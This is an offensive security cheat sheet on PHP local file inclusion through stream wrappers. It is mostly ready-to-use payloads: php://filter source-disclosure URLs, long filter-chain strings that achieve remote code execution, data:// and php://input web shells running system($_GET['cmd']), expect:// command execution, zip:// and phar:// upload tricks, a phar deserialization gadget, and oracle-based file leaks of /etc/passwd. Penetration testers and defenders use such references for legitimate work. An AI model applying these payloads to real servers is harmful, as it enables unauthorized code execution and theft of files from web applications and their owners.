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Inclusion Using Wrappers

A wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.

Summary

Wrapper php://filter

The part "php://filter" is case insensitive

Filter Description
php://filter/read=string.rot13/resource=index.php Display index.php as rot13
php://filter/convert.iconv.utf-8.utf-16/resource=index.php Encode index.php from utf8 to utf16
php://filter/convert.base64-encode/resource=index.php Display index.php as a base64 encoded string 
http://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php
http://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php
http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php
http://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php

Wrappers can be chained with a compression wrapper for large files.

http://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd

NOTE: Wrappers can be chained multiple times using | or /:

  • Multiple base64 decodes: php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s
  • deflate then base64encode (useful for limited character exfil): php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php
./kadimus -u "http://example.com/index.php?page=vuln" -S -f "index.php%00" -O index.php --parameter page 
curl "http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php" | base64 -d > index.php

Also there is a way to turn the php://filter into a full RCE.

  • synacktiv/php_filter_chain_generator - A CLI to generate PHP filters chain 

    $ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'
[+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

  • LFI2RCE.py to generate a custom payload. 

    # vulnerable file: index.php
# vulnerable parameter: file
# executed command: id
# executed PHP code: <?=`$_GET[0]`;;?>
curl "127.0.0.1:8000/index.php?0=id&file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd"

Wrapper data://

The payload encoded in base64 is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>".

http://example.net/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4=

Fun fact: you can trigger an XSS and bypass the Chrome Auditor with : http://example.com/index.php?page=data:application/x-httpd-php;base64,PHN2ZyBvbmxvYWQ9YWxlcnQoMSk+

Wrapper expect://

When used in PHP or a similar application, it may allow an attacker to specify commands to execute in the system's shell, as the expect:// wrapper can invoke shell commands as part of its input.

http://example.com/index.php?page=expect://id
http://example.com/index.php?page=expect://ls

Wrapper input://

Specify your payload in the POST parameters, this can be done with a simple curl command.

curl -X POST --data "<?php echo shell_exec('id'); ?>" "https://example.com/index.php?page=php://input%00" -k -v

Alternatively, Kadimus has a module to automate this attack.

./kadimus -u "https://example.com/index.php?page=php://input%00"  -C '<?php echo shell_exec("id"); ?>' -T input

Wrapper zip://

  1. Create an evil payload: echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
  2. Zip the file 
    zip payload.zip payload.php;
mv payload.zip shell.jpg;
rm payload.php
  3. Upload the archive and access the file using the wrappers: http://example.com/index.php?page=zip://shell.jpg%23payload.php

Wrapper phar://

PHAR archive structure

PHAR files work like ZIP files, when you can use the phar:// to access files stored inside them.

  1. Create a phar archive containing a backdoor file: php --define phar.readonly=0 archive.php
<?php
  $phar = new Phar('archive.phar');
  $phar->startBuffering();
  $phar->addFromString('test.txt', '<?php phpinfo(); ?>');
  $phar->setStub('<?php __HALT_COMPILER(); ?>');
  $phar->stopBuffering();
?>
  1. Use the phar:// wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/archive.phar/test.txt

PHAR deserialization

⚠ This technique doesn't work on PHP 8+, the deserialization has been removed.

If a file operation is now performed on our existing phar file via the phar:// wrapper, then its serialized meta data is unserialized. This vulnerability occurs in the following functions, including file_exists: include, file_get_contents, file_put_contents, copy, file_exists, is_executable, is_file, is_dir, is_link, is_writable, fileperms, fileinode, filesize, fileowner, filegroup, fileatime, filemtime, filectime, filetype, getimagesize, exif_read_data, stat, lstat, touch, md5_file, etc.

This exploit requires at least one class with magic methods such as __destruct() or __wakeup(). Let's take this AnyClass class as example, which execute the parameter data.

class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }

    function __destruct() {
        system($this->data);
    }
}

...
echo file_exists($_GET['page']);

We can craft a phar archive containing a serialized object in its meta-data.

// create new Phar
$phar = new Phar('deser.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

// add object of any class as meta data
class AnyClass {
    public $data = null;
    public function __construct($data) {
        $this->data = $data;
    }

    function __destruct() {
        system($this->data);
    }
}
$object = new AnyClass('whoami');
$phar->setMetadata($object);
$phar->stopBuffering();

Finally call the phar wrapper: curl http://127.0.0.1:8001/?page=phar:///var/www/html/deser.phar

NOTE: you can use the $phar->setStub() to add the magic bytes of JPG file: \xff\xd8\xff

$phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>");

Wrapper convert.iconv:// and dechunk://

Leak file content from error-based oracle

  • convert.iconv://: convert input into another folder (convert.iconv.utf-16le.utf-8)
  • dechunk://: if the string contains no newlines, it will wipe the entire string if and only if the string starts with A-Fa-f0-9

The goal of this exploitation is to leak the content of a file, one character at a time, based on the DownUnderCTF writeup.

Requirements:

  • Backend must not use file_exists or is_file.
  • Vulnerable parameter should be in a POST request.
  • You can't leak more than 135 characters in a GET request due to the size limit

The exploit chain is based on PHP filters: iconv and dechunk:

  1. Use the iconv filter with an encoding increasing the data size exponentially to trigger a memory error.
  2. Use the dechunk filter to determine the first character of the file, based on the previous error.
  3. Use the iconv filter again with encodings having different bytes ordering to swap remaining characters with the first one.

Exploit using synacktiv/php_filter_chains_oracle_exploit, the script will use either the HTTP status code: 500 or the time as an error-based oracle to determine the character.

$ python3 filters_chain_oracle_exploit.py --target http://127.0.0.1 --file '/test' --parameter 0   
[*] The following URL is targeted : http://127.0.0.1
[*] The following local file is leaked : /test
[*] Running POST requests
[+] File /test leak is finished!

Leak file content inside a custom format output

  • ambionics/wrapwrap - Generates a php://filter chain that adds a prefix and a suffix to the contents of a file.

To obtain the contents of some file, we would like to have: {"message":"<file contents>"}.

./wrapwrap.py /etc/passwd 'PREFIX' 'SUFFIX' 1000
./wrapwrap.py /etc/passwd '{"message":"' '"}' 1000
./wrapwrap.py /etc/passwd '<root><name>' '</name></root>' 1000

This can be used against vulnerable code like the following.

<?php
  $data = file_get_contents($_POST['url']);
  $data = json_decode($data);
  echo $data->message;
?>

References